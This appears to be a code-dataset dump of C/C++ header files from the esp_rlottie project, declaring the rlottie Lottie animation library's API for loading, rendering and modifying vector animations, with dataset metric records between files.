{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/vs2019/rlottie.vcxproj.filters
|
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="inc">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
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filters
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0015/esp_rlottie
|
rlottie/inc/rlottie_capi.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef _RLOTTIE_CAPI_H_
#define _RLOTTIE_CAPI_H_
#include <stddef.h>
#include <stdint.h>
#include "rlottiecommon.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
LOTTIE_ANIMATION_PROPERTY_FILLCOLOR, /*!< Color property of Fill object , value type is float [0 ... 1] */
LOTTIE_ANIMATION_PROPERTY_FILLOPACITY, /*!< Opacity property of Fill object , value type is float [ 0 .. 100] */
LOTTIE_ANIMATION_PROPERTY_STROKECOLOR, /*!< Color property of Stroke object , value type is float [0 ... 1] */
LOTTIE_ANIMATION_PROPERTY_STROKEOPACITY, /*!< Opacity property of Stroke object , value type is float [ 0 .. 100] */
LOTTIE_ANIMATION_PROPERTY_STROKEWIDTH, /*!< stroke with property of Stroke object , value type is float */
LOTTIE_ANIMATION_PROPERTY_TR_ANCHOR, /*!< Transform Anchor property of Layer and Group object , value type is int */
LOTTIE_ANIMATION_PROPERTY_TR_POSITION, /*!< Transform Position property of Layer and Group object , value type is int */
LOTTIE_ANIMATION_PROPERTY_TR_SCALE, /*!< Transform Scale property of Layer and Group object , value type is float range[0 ..100] */
LOTTIE_ANIMATION_PROPERTY_TR_ROTATION, /*!< Transform Scale property of Layer and Group object , value type is float. range[0 .. 360] in degrees*/
LOTTIE_ANIMATION_PROPERTY_TR_OPACITY /*!< Transform Opacity property of Layer and Group object , value type is float [ 0 .. 100] */
}Lottie_Animation_Property;
typedef struct Lottie_Animation_S Lottie_Animation;
/**
* @brief Runs lottie initialization code when rlottie library is loaded
* dynamically.
*
*
* This api should be called before any other api when rlottie library
* is loaded using dlopen() or equivalent.
*
* @see lottie_shutdown()
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API void lottie_init(void);
/**
* @brief Runs lottie teardown code when rlottie library is loaded
* dynamically.
*
* This api should be called before unloading the rlottie library for
* proper cleanup of the resource without doing so will result in undefined
* behaviour.
*
* @see lottie_init()
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API void lottie_shutdown(void);
/**
* @brief Constructs an animation object from file path.
*
* @param[in] path Lottie resource file path
*
* @return Animation object that can build the contents of the
* Lottie resource represented by file path.
*
* @see lottie_animation_destroy()
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API Lottie_Animation *lottie_animation_from_file(const char *path);
/**
* @brief Constructs an animation object from JSON string data.
*
* @param[in] data The JSON string data.
* @param[in] key the string that will be used to cache the JSON string data.
* @param[in] resource_path the path that will be used to load external resource needed by the JSON data.
*
* @return Animation object that can build the contents of the
* Lottie resource represented by JSON string data.
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API Lottie_Animation *lottie_animation_from_data(const char *data, const char *key, const char *resource_path);
/**
* @brief Free given Animation object resource.
*
* @param[in] animation Animation object to free.
*
* @see lottie_animation_from_file()
* @see lottie_animation_from_data()
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API void lottie_animation_destroy(Lottie_Animation *animation);
/**
* @brief Returns default viewport size of the Lottie resource.
*
* @param[in] animation Animation object.
* @param[out] w default width of the viewport.
* @param[out] h default height of the viewport.
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API void lottie_animation_get_size(const Lottie_Animation *animation, size_t *width, size_t *height);
/**
* @brief Returns total animation duration of Lottie resource in second.
* it uses totalFrame() and frameRate() to calculate the duration.
* duration = totalFrame() / frameRate().
*
* @param[in] animation Animation object.
*
* @return total animation duration in second.
* @c 0 if the Lottie resource has no animation.
*
* @see lottie_animation_get_totalframe()
* @see lottie_animation_get_framerate()
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API double lottie_animation_get_duration(const Lottie_Animation *animation);
/**
* @brief Returns total number of frames present in the Lottie resource.
*
* @param[in] animation Animation object.
*
* @return frame count of the Lottie resource.*
*
* @note frame number starts with 0.
*
* @see lottie_animation_get_duration()
* @see lottie_animation_get_framerate()
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API size_t lottie_animation_get_totalframe(const Lottie_Animation *animation);
/**
* @brief Returns default framerate of the Lottie resource.
*
* @param[in] animation Animation object.
*
* @return framerate of the Lottie resource
*
* @ingroup Lottie_Animation
* @internal
*
*/
RLOTTIE_API double lottie_animation_get_framerate(const Lottie_Animation *animation);
/**
* @brief Get the render tree which contains the snapshot of the animation object
* at frame = @c frame_num, the content of the animation in that frame number.
*
* @param[in] animation Animation object.
* @param[in] frame_num Content corresponds to the @p frame_num needs to be drawn
* @param[in] width requested snapshot viewport width.
* @param[in] height requested snapshot viewport height.
*
* @return Animation snapshot tree.
*
* @note: User has to traverse the tree for rendering.
*
* @see LOTLayerNode
* @see LOTNode
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API const LOTLayerNode *lottie_animation_render_tree(Lottie_Animation *animation, size_t frame_num, size_t width, size_t height);
/**
* @brief Maps position to frame number and returns it.
*
* @param[in] animation Animation object.
* @param[in] pos position in the range [ 0.0 .. 1.0 ].
*
* @return mapped frame numbe in the range [ start_frame .. end_frame ].
* @c 0 if the Lottie resource has no animation.
*
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API size_t lottie_animation_get_frame_at_pos(const Lottie_Animation *animation, float pos);
/**
* @brief Request to render the content of the frame @p frame_num to buffer @p buffer.
*
* @param[in] animation Animation object.
* @param[in] frame_num the frame number needs to be rendered.
* @param[in] buffer surface buffer use for rendering.
* @param[in] width width of the surface
* @param[in] height height of the surface
* @param[in] bytes_per_line stride of the surface in bytes.
*
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API void lottie_animation_render(Lottie_Animation *animation, size_t frame_num, uint32_t *buffer, size_t width, size_t height, size_t bytes_per_line);
/**
* @brief Request to render the content of the frame @p frame_num to buffer @p buffer asynchronously.
*
* @param[in] animation Animation object.
* @param[in] frame_num the frame number needs to be rendered.
* @param[in] buffer surface buffer use for rendering.
* @param[in] width width of the surface
* @param[in] height height of the surface
* @param[in] bytes_per_line stride of the surface in bytes.
*
* @note user must call lottie_animation_render_flush() to make sure render is finished.
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API void lottie_animation_render_async(Lottie_Animation *animation, size_t frame_num, uint32_t *buffer, size_t width, size_t height, size_t bytes_per_line);
/**
* @brief Request to finish the current async renderer job for this animation object.
* If render is finished then this call returns immidiately.
* If not, it waits till render job finish and then return.
*
* @param[in] animation Animation object.
*
* @warning User must call lottie_animation_render_async() and lottie_animation_render_flush()
* in pair to get the benefit of async rendering.
*
* @return the pixel buffer it finished rendering.
*
* @ingroup Lottie_Animation
* @internal
*/
RLOTTIE_API uint32_t *lottie_animation_render_flush(Lottie_Animation *animation);
/**
* @brief Request to change the properties of this animation object.
* Keypath should conatin object names separated by (.) and can handle globe(**) or wildchar(*)
*
* @usage
* To change fillcolor property of fill1 object in the layer1->group1->fill1 hirarchy to RED color
*
* lottie_animation_property_override(animation, LOTTIE_ANIMATION_PROPERTY_FILLCOLOR, "layer1.group1.fill1", 1.0, 0.0, 0.0);
*
* if all the color property inside group1 needs to be changed to GREEN color
*
* lottie_animation_property_override(animation, LOTTIE_ANIMATION_PROPERTY_FILLCOLOR, "**.group1.**", 1.0, 0.0, 0.0);
*
* @param[in] animation Animation object.
* @param[in] type Property type. (@p Lottie_Animation_Property)
* @param[in] keypath Specific content of target.
* @param[in] ... Property values.
*
* @ingroup Lottie_Animation
* @internal
* */
RLOTTIE_API void lottie_animation_property_override(Lottie_Animation *animation, const Lottie_Animation_Property type, const char *keypath, ...);
/**
* @brief Returns list of markers in the Lottie resource
* @p LOTMarkerList has a @p LOTMarker list and size of list
* @p LOTMarker has the marker's name, start frame, and end frame.
*
* @param[in] animation Animation object.
*
* @return The list of marker. If there is no marker, return null.
*
* @ingroup Lottie_Animation
* @internal
* */
RLOTTIE_API const LOTMarkerList* lottie_animation_get_markerlist(Lottie_Animation *animation);
/**
* @brief Configures rlottie model cache policy.
*
* Provides Library level control to configure model cache
* policy. Setting it to 0 will disable
* the cache as well as flush all the previously cached content.
*
* @param[in] cacheSize Maximum Model Cache size.
*
* @note to disable Caching configure with 0 size.
* @note to flush the current Cache content configure it with 0 and
* then reconfigure with the new size.
*
* @internal
*/
RLOTTIE_API void lottie_configure_model_cache_size(size_t cacheSize);
#ifdef __cplusplus
}
#endif
#endif //_RLOTTIE_CAPI_H_
| 11,630
|
rlottie_capi
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1589, "qsc_code_num_chars": 11630.0, "qsc_code_mean_word_length": 5.21019509, "qsc_code_frac_words_unique": 0.20704846, "qsc_code_frac_chars_top_2grams": 0.13226235, "qsc_code_frac_chars_top_3grams": 0.05000604, "qsc_code_frac_chars_top_4grams": 0.05797802, "qsc_code_frac_chars_dupe_5grams": 0.4815799, "qsc_code_frac_chars_dupe_6grams": 0.45029593, "qsc_code_frac_chars_dupe_7grams": 0.39135161, "qsc_code_frac_chars_dupe_8grams": 0.35958449, "qsc_code_frac_chars_dupe_9grams": 0.34291581, "qsc_code_frac_chars_dupe_10grams": 0.28095181, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0068522, "qsc_code_frac_chars_whitespace": 0.18435082, "qsc_code_size_file_byte": 11630.0, "qsc_code_num_lines": 329.0, "qsc_code_num_chars_line_max": 165.0, "qsc_code_num_chars_line_mean": 35.34954407, "qsc_code_frac_chars_alphabet": 0.86590765, "qsc_code_frac_chars_comments": 0.7877902, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11904762, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00648561, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.4047619, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.47619048, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/inc/rlottiecommon.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef _RLOTTIE_COMMON_H_
#define _RLOTTIE_COMMON_H_
#if defined _WIN32 || defined __CYGWIN__
#ifdef RLOTTIE_BUILD
#define RLOTTIE_API __declspec(dllexport)
#else
#define RLOTTIE_API __declspec(dllimport)
#endif
#else
#ifdef RLOTTIE_BUILD
#define RLOTTIE_API __attribute__ ((visibility ("default")))
#else
#define RLOTTIE_API
#endif
#endif
/**
* @defgroup Lottie_Animation Lottie_Animation
*
* Lottie Animation is a modern style vector based animation design. Its animation
* resource(within json format) could be generated by Adobe After Effect using
* bodymovin plugin. You can find a good examples in Lottie Community which
* shares many free resources(see: www.lottiefiles.com).
*
* This Lottie_Animation is a common engine to manipulate, control Lottie
* Animation from the Lottie resource - json file. It provides a scene-graph
* node tree per frames by user demand as well as rasterized frame images.
*
*/
/**
* @ingroup Lottie_Animation
*/
typedef enum
{
BrushSolid = 0,
BrushGradient
} LOTBrushType;
typedef enum
{
FillEvenOdd = 0,
FillWinding
} LOTFillRule;
typedef enum
{
JoinMiter = 0,
JoinBevel,
JoinRound
} LOTJoinStyle;
typedef enum
{
CapFlat = 0,
CapSquare,
CapRound
} LOTCapStyle;
typedef enum
{
GradientLinear = 0,
GradientRadial
} LOTGradientType;
typedef struct LOTGradientStop
{
float pos;
unsigned char r, g, b, a;
} LOTGradientStop;
typedef enum
{
MaskAdd = 0,
MaskSubstract,
MaskIntersect,
MaskDifference
} LOTMaskType;
typedef struct LOTMask {
struct {
const float *ptPtr;
size_t ptCount;
const char* elmPtr;
size_t elmCount;
} mPath;
LOTMaskType mMode;
unsigned char mAlpha;
}LOTMask;
typedef enum
{
MatteNone = 0,
MatteAlpha,
MatteAlphaInv,
MatteLuma,
MatteLumaInv
} LOTMatteType;
typedef struct LOTMarker {
char *name;
size_t startframe;
size_t endframe;
} LOTMarker;
typedef struct LOTMarkerList {
LOTMarker *ptr;
size_t size;
} LOTMarkerList;
typedef struct LOTNode {
#define ChangeFlagNone 0x0000
#define ChangeFlagPath 0x0001
#define ChangeFlagPaint 0x0010
#define ChangeFlagAll (ChangeFlagPath & ChangeFlagPaint)
struct {
const float *ptPtr;
size_t ptCount;
const char *elmPtr;
size_t elmCount;
} mPath;
struct {
unsigned char r, g, b, a;
} mColor;
struct {
unsigned char enable;
float width;
LOTCapStyle cap;
LOTJoinStyle join;
float miterLimit;
float *dashArray;
int dashArraySize;
} mStroke;
struct {
LOTGradientType type;
LOTGradientStop *stopPtr;
size_t stopCount;
struct {
float x, y;
} start, end, center, focal;
float cradius;
float fradius;
} mGradient;
struct {
unsigned char *data;
size_t width;
size_t height;
unsigned char mAlpha;
struct {
float m11; float m12; float m13;
float m21; float m22; float m23;
float m31; float m32; float m33;
} mMatrix;
} mImageInfo;
int mFlag;
LOTBrushType mBrushType;
LOTFillRule mFillRule;
const char *keypath;
} LOTNode;
typedef struct LOTLayerNode {
struct {
LOTMask *ptr;
size_t size;
} mMaskList;
struct {
const float *ptPtr;
size_t ptCount;
const char *elmPtr;
size_t elmCount;
} mClipPath;
struct {
struct LOTLayerNode **ptr;
size_t size;
} mLayerList;
struct {
LOTNode **ptr;
size_t size;
} mNodeList;
LOTMatteType mMatte;
int mVisible;
unsigned char mAlpha;
const char *keypath;
} LOTLayerNode;
/**
* @}
*/
#endif // _RLOTTIE_COMMON_H_
| 5,193
|
rlottiecommon
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 584, "qsc_code_num_chars": 5193.0, "qsc_code_mean_word_length": 5.70034247, "qsc_code_frac_words_unique": 0.48630137, "qsc_code_frac_chars_top_2grams": 0.02252929, "qsc_code_frac_chars_top_3grams": 0.01922499, "qsc_code_frac_chars_top_4grams": 0.01441874, "qsc_code_frac_chars_dupe_5grams": 0.08741364, "qsc_code_frac_chars_dupe_6grams": 0.08741364, "qsc_code_frac_chars_dupe_7grams": 0.05797537, "qsc_code_frac_chars_dupe_8grams": 0.05797537, "qsc_code_frac_chars_dupe_9grams": 0.05797537, "qsc_code_frac_chars_dupe_10grams": 0.05797537, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01239892, "qsc_code_frac_chars_whitespace": 0.28557674, "qsc_code_size_file_byte": 5193.0, "qsc_code_num_lines": 231.0, "qsc_code_num_chars_line_max": 83.0, "qsc_code_num_chars_line_mean": 22.48051948, "qsc_code_frac_chars_alphabet": 0.88490566, "qsc_code_frac_chars_comments": 0.34719815, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34193548, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0020649, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00530973, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.01290323, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.10967742, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/inc/rlottie.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef _RLOTTIE_H_
#define _RLOTTIE_H_
#include <future>
#include <vector>
#include <memory>
#if defined _WIN32 || defined __CYGWIN__
#ifdef RLOTTIE_BUILD
#define RLOTTIE_API __declspec(dllexport)
#else
#define RLOTTIE_API __declspec(dllimport)
#endif
#else
#ifdef RLOTTIE_BUILD
#define RLOTTIE_API __attribute__ ((visibility ("default")))
#else
#define RLOTTIE_API
#endif
#endif
class AnimationImpl;
struct LOTNode;
struct LOTLayerNode;
namespace rlottie {
/**
* @brief Configures rlottie model cache policy.
*
* Provides Library level control to configure model cache
* policy. Setting it to 0 will disable
* the cache as well as flush all the previously cached content.
*
* @param[in] cacheSize Maximum Model Cache size.
*
* @note to disable Caching configure with 0 size.
* @note to flush the current Cache content configure it with 0 and
* then reconfigure with the new size.
*
* @internal
*/
RLOTTIE_API void configureModelCacheSize(size_t cacheSize);
struct Color {
Color() = default;
Color(float r, float g , float b):_r(r), _g(g), _b(b){}
float r() const {return _r;}
float g() const {return _g;}
float b() const {return _b;}
private:
float _r{0};
float _g{0};
float _b{0};
};
struct Size {
Size() = default;
Size(float w, float h):_w(w), _h(h){}
float w() const {return _w;}
float h() const {return _h;}
private:
float _w{0};
float _h{0};
};
struct Point {
Point() = default;
Point(float x, float y):_x(x), _y(y){}
float x() const {return _x;}
float y() const {return _y;}
private:
float _x{0};
float _y{0};
};
struct FrameInfo {
explicit FrameInfo(uint32_t frame): _frameNo(frame){}
uint32_t curFrame() const {return _frameNo;}
private:
uint32_t _frameNo;
};
enum class Property {
FillColor, /*!< Color property of Fill object , value type is rlottie::Color */
FillOpacity, /*!< Opacity property of Fill object , value type is float [ 0 .. 100] */
StrokeColor, /*!< Color property of Stroke object , value type is rlottie::Color */
StrokeOpacity, /*!< Opacity property of Stroke object , value type is float [ 0 .. 100] */
StrokeWidth, /*!< stroke width property of Stroke object , value type is float */
TrAnchor, /*!< Transform Anchor property of Layer and Group object , value type is rlottie::Point */
TrPosition, /*!< Transform Position property of Layer and Group object , value type is rlottie::Point */
TrScale, /*!< Transform Scale property of Layer and Group object , value type is rlottie::Size. range[0 ..100] */
TrRotation, /*!< Transform Rotation property of Layer and Group object , value type is float. range[0 .. 360] in degrees*/
TrOpacity /*!< Transform Opacity property of Layer and Group object , value type is float [ 0 .. 100] */
};
struct Color_Type{};
struct Point_Type{};
struct Size_Type{};
struct Float_Type{};
template <typename T> struct MapType;
class RLOTTIE_API Surface {
public:
/**
* @brief Surface object constructor.
*
* @param[in] buffer surface buffer.
* @param[in] width surface width.
* @param[in] height surface height.
* @param[in] bytesPerLine number of bytes in a surface scanline.
*
* @note Default surface format is ARGB32_Premultiplied.
*
* @internal
*/
Surface(uint32_t *buffer, size_t width, size_t height, size_t bytesPerLine);
/**
* @brief Sets the Draw Area available on the Surface.
*
* Lottie will use the draw region size to generate frame image
* and will update only the draw rgion of the surface.
*
* @param[in] x region area x position.
* @param[in] y region area y position.
* @param[in] width region area width.
* @param[in] height region area height.
*
* @note Default surface format is ARGB32_Premultiplied.
* @note Default draw region area is [ 0 , 0, surface width , surface height]
*
* @internal
*/
void setDrawRegion(size_t x, size_t y, size_t width, size_t height);
/**
* @brief Returns width of the surface.
*
* @return surface width
*
* @internal
*
*/
size_t width() const {return mWidth;}
/**
* @brief Returns height of the surface.
*
* @return surface height
*
* @internal
*/
size_t height() const {return mHeight;}
/**
* @brief Returns number of bytes in the surface scanline.
*
* @return number of bytes in scanline.
*
* @internal
*/
size_t bytesPerLine() const {return mBytesPerLine;}
/**
* @brief Returns buffer attached tp the surface.
*
* @return buffer attaced to the Surface.
*
* @internal
*/
uint32_t *buffer() const {return mBuffer;}
/**
* @brief Returns drawable area width of the surface.
*
* @return drawable area width
*
* @note Default value is width() of the surface
*
* @internal
*
*/
size_t drawRegionWidth() const {return mDrawArea.w;}
/**
* @brief Returns drawable area height of the surface.
*
* @return drawable area height
*
* @note Default value is height() of the surface
*
* @internal
*/
size_t drawRegionHeight() const {return mDrawArea.h;}
/**
* @brief Returns drawable area's x position of the surface.
*
* @return drawable area's x potition.
*
* @note Default value is 0
*
* @internal
*/
size_t drawRegionPosX() const {return mDrawArea.x;}
/**
* @brief Returns drawable area's y position of the surface.
*
* @return drawable area's y potition.
*
* @note Default value is 0
*
* @internal
*/
size_t drawRegionPosY() const {return mDrawArea.y;}
/**
* @brief Default constructor.
*/
Surface() = default;
private:
uint32_t *mBuffer{nullptr};
size_t mWidth{0};
size_t mHeight{0};
size_t mBytesPerLine{0};
struct {
size_t x{0};
size_t y{0};
size_t w{0};
size_t h{0};
}mDrawArea;
};
using MarkerList = std::vector<std::tuple<std::string, int , int>>;
/**
* @brief https://helpx.adobe.com/after-effects/using/layer-markers-composition-markers.html
* Markers exported form AE are used to describe a segmnet of an animation {comment/tag , startFrame, endFrame}
* Marker can be use to devide a resource in to separate animations by tagging the segment with comment string ,
* start frame and duration of that segment.
*/
using LayerInfoList = std::vector<std::tuple<std::string, int , int>>;
using ColorFilter = std::function<void(float &r , float &g, float &b)>;
class RLOTTIE_API Animation {
public:
/**
* @brief Constructs an animation object from file path.
*
* @param[in] path Lottie resource file path
* @param[in] cachePolicy whether to cache or not the model data.
* use only when need to explicit disabl caching for a
* particular resource. To disable caching at library level
* use @see configureModelCacheSize() instead.
*
* @return Animation object that can render the contents of the
* Lottie resource represented by file path.
*
* @internal
*/
static std::unique_ptr<Animation>
loadFromFile(const std::string &path, bool cachePolicy=true);
/**
* @brief Constructs an animation object from JSON string data.
*
* @param[in] jsonData The JSON string data.
* @param[in] key the string that will be used to cache the JSON string data.
* @param[in] resourcePath the path will be used to search for external resource.
